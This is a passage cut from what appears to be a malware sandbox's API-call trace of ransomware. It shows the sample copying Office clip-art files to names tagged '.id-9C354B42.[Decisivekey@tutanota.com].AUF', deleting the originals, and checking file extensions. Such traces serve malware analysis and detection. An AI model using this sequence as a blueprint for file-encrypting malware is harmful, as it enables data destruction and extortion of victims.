hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.761] SetEndOfFile (hFile=0x228) returned 1 [0224.761] CloseHandle (hObject=0x228) returned 1 [0224.761] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.761] SetEndOfFile (hFile=0x208) returned 1 [0224.762] CloseHandle (hObject=0x208) returned 1 [0224.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString=".doc") returned 4 [0224.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString=".docx") returned 5 [0224.763] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0224.763] lstrlenW (lpString=".pdf") returned 4 [0224.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString=".xls") returned 4 [0224.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.763] lstrlenW (lpString=".xlsx") returned 5 [0224.763] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0224.763] lstrlenW (lpString=".ppt") returned 4 [0224.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString=".zip") returned 4 [0224.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.763] lstrlenW (lpString=".rar") returned 4 [0224.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString=".bz2") returned 4 [0224.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString=".7z") returned 3 [0224.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString=".dbf") returned 4 [0224.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString=".1cd") returned 4 [0224.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0224.763] lstrlenW (lpString=".jpg") returned 4 [0224.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.764] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=24759) returned 1 [0224.764] CloseHandle (hObject=0x208) returned 1 [0224.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0224.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.764] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.764] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.765] GetLastError () returned 0x0 [0224.765] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x60b7, lpOverlapped=0x0) returned 1 [0224.983] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0224.985] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.985] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.985] SetEndOfFile (hFile=0x228) returned 1 [0224.985] CloseHandle (hObject=0x228) returned 1 [0224.985] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.985] SetEndOfFile (hFile=0x208) returned 1 [0224.986] CloseHandle (hObject=0x208) returned 1 [0224.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0224.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.986] lstrlenW (lpString=".doc") returned 4 [0224.986] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.987] lstrlenW (lpString=".docx") returned 5 [0224.987] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0224.987] lstrlenW (lpString=".pdf") returned 4 [0224.987] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.987] lstrlenW (lpString=".xls") returned 4 [0224.987] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.987] lstrlenW (lpString=".xlsx") returned 5 [0224.987] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0224.987] lstrlenW (lpString=".ppt") returned 4 [0224.987] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.987] lstrlenW (lpString=".zip") returned 4 [0224.987] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.987] lstrlenW (lpString=".rar") returned 4 [0224.987] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.987] lstrlenW (lpString=".bz2") returned 4 [0224.987] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.987] lstrlenW (lpString=".7z") returned 3 [0224.987] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.987] lstrlenW (lpString=".dbf") returned 4 [0224.987] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.987] lstrlenW (lpString=".1cd") returned 4 [0224.987] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0224.987] lstrlenW (lpString=".jpg") returned 4 [0224.987] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.987] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=9671) returned 1 [0224.987] CloseHandle (hObject=0x208) returned 1 [0224.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0224.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.988] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.988] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.988] GetLastError () returned 0x0 [0224.988] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x25c7, lpOverlapped=0x0) returned 1 [0224.999] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0225.000] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.000] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.000] SetEndOfFile (hFile=0x228) returned 1 [0225.000] CloseHandle (hObject=0x228) returned 1 [0225.000] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.000] SetEndOfFile (hFile=0x208) returned 1 [0225.000] CloseHandle (hObject=0x208) returned 1 [0225.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString=".doc") returned 4 [0225.001] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.001] lstrlenW (lpString=".docx") returned 5 [0225.001] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0225.001] lstrlenW (lpString=".pdf") returned 4 [0225.001] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.001] lstrlenW (lpString=".xls") returned 4 [0225.001] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.001] lstrlenW (lpString=".xlsx") returned 5 [0225.001] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0225.001] lstrlenW (lpString=".ppt") returned 4 [0225.001] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString=".zip") returned 4 [0225.001] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.001] lstrlenW (lpString=".rar") returned 4 [0225.001] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.001] lstrlenW (lpString=".bz2") returned 4 [0225.001] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.001] lstrlenW (lpString=".7z") returned 3 [0225.001] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString=".dbf") returned 4 [0225.001] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString=".1cd") returned 4 [0225.001] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0225.001] lstrlenW (lpString=".jpg") returned 4 [0225.002] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.006] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.006] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.007] GetLastError () returned 0x0 [0225.007] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3b29, lpOverlapped=0x0) returned 1 [0225.031] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0225.032] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.032] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.032] SetEndOfFile (hFile=0x228) returned 1 [0225.032] CloseHandle (hObject=0x228) returned 1 [0225.032] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.032] SetEndOfFile (hFile=0x208) returned 1 [0225.033] CloseHandle (hObject=0x208) returned 1 [0225.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString=".doc") returned 4 [0225.034] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.034] lstrlenW (lpString=".docx") returned 5 [0225.034] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0225.034] lstrlenW (lpString=".pdf") returned 4 [0225.034] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.034] lstrlenW (lpString=".xls") returned 4 [0225.034] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.034] lstrlenW (lpString=".xlsx") returned 5 [0225.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0225.034] lstrlenW (lpString=".ppt") returned 4 [0225.034] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString=".zip") returned 4 [0225.034] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.034] lstrlenW (lpString=".rar") returned 4 [0225.034] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.034] lstrlenW (lpString=".bz2") returned 4 [0225.034] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.034] lstrlenW (lpString=".7z") returned 3 [0225.034] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString=".dbf") returned 4 [0225.034] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString=".1cd") returned 4 [0225.034] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0225.034] lstrlenW (lpString=".jpg") returned 4 [0225.034] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.035] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=43949) returned 1 [0225.035] CloseHandle (hObject=0x208) returned 1 [0225.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0225.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.035] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.035] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.035] GetLastError () returned 0x0 [0225.035] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xabad, lpOverlapped=0x0) returned 1 [0225.048] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0225.050] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.050] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.050] SetEndOfFile (hFile=0x228) returned 1 [0225.050] CloseHandle (hObject=0x228) returned 1 [0225.050] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.050] SetEndOfFile (hFile=0x208) returned 1 [0225.051] CloseHandle (hObject=0x208) returned 1 [0225.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString=".doc") returned 4 [0225.052] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.052] lstrlenW (lpString=".docx") returned 5 [0225.052] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0225.052] lstrlenW (lpString=".pdf") returned 4 [0225.052] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.052] lstrlenW (lpString=".xls") returned 4 [0225.052] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.052] lstrlenW (lpString=".xlsx") returned 5 [0225.052] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0225.052] lstrlenW (lpString=".ppt") returned 4 [0225.052] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString=".zip") returned 4 [0225.052] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.052] lstrlenW (lpString=".rar") returned 4 [0225.052] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.052] lstrlenW (lpString=".bz2") returned 4 [0225.052] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.052] lstrlenW (lpString=".7z") returned 3 [0225.052] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString=".dbf") returned 4 [0225.052] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString=".1cd") returned 4 [0225.052] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0225.052] lstrlenW (lpString=".jpg") returned 4 [0225.052] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.053] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=24292) returned 1 [0225.053] CloseHandle (hObject=0x208) returned 1 [0225.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0225.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft 